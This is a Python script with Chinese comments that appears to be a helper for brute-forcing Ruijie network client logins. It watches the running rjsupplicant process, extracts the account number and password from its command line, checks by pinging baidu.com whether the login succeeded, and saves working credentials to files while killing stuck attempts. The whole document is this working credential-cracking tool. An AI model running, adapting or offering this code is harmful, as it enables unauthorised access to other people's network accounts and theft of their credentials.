"""
这是配合暴力破解主程序的一个辅助脚本
杀死卡住的锐捷客户端，
卡住可能是单纯的卡住了，密码是错误的；
也可能是使用的账号登录锐捷客户端成功，若是这样的就保存账号名和密码。
"""
import subprocess
import re
import os
import time
import logging

RESULT_PATH = '/root/rjtest/result_path/'


def get_shell_out(command):
    child = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
    response = child.communicate()[0]
    return response.decode('utf-8')


def get_process_id(name):
    child = subprocess.Popen(''.join(["ps aux | grep ", name]), stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                             shell=True)
    response = child.communicate()[0]
    result_str = response.decode('utf-8')
    try:
        matchs = pat.search(result_str)
        return matchs.group(1), matchs.group(2), matchs.group(3)  # 除了返回进程id,还让返回工号和那个命令，
        # 因为命令含了我们需要的东西，工号用来当文件名使用,0为命令那一整行，1为pid, 2为工号
    except Exception:
        return 0, 'id=None', 'password=None'


def kill_some(pid):
    if pid == 0:
        pass
    else:
        os.system('kill -9 ' + pid)


def kill_and_write_some(pid, num_id='111', password='222'):
    kill_some(pid)
    with open(RESULT_PATH + num_id, 'a', encoding='utf-8')as f:
        f.write(password)


def write_some(num_id='111', password='222'):
    with open(RESULT_PATH + num_id, 'a', encoding='utf-8')as f:
        f.write(password)


if __name__ == '__main__':
    logging.error('start....')
    pat = re.compile('root\s+(\d+).*?\d+\s/root.*?-u (\d+) -p (\d+)')
    previous_password = '100000'
    while True:
        pid, num_id, password = get_process_id(name='rjsupplicant')
        out_str = get_shell_out('ping -c 1 www.baidu.com')
        if out_str.endswith('ms\n'):  # 可以ping通百度，即表示连上了网
            write_some(num_id=num_id, password=password)
            os.system('/root/rjtest/rjsupplicant/rjsupplicant.sh -q')
            logging.error('获取到一个可用账号：'+str(num_id)+'，'+str(password))
        elif previous_password == password:     # 卡住了
            os.system('/root/rjtest/rjsupplicant/rjsupplicant.sh -q')
            logging.error(str(num_id)+'-'+str(password))
            logging.error('卡住了，kill kill kill....')
        else:
            pass
            # logging.error('pass')
        time.sleep(30)
        previous_password = password
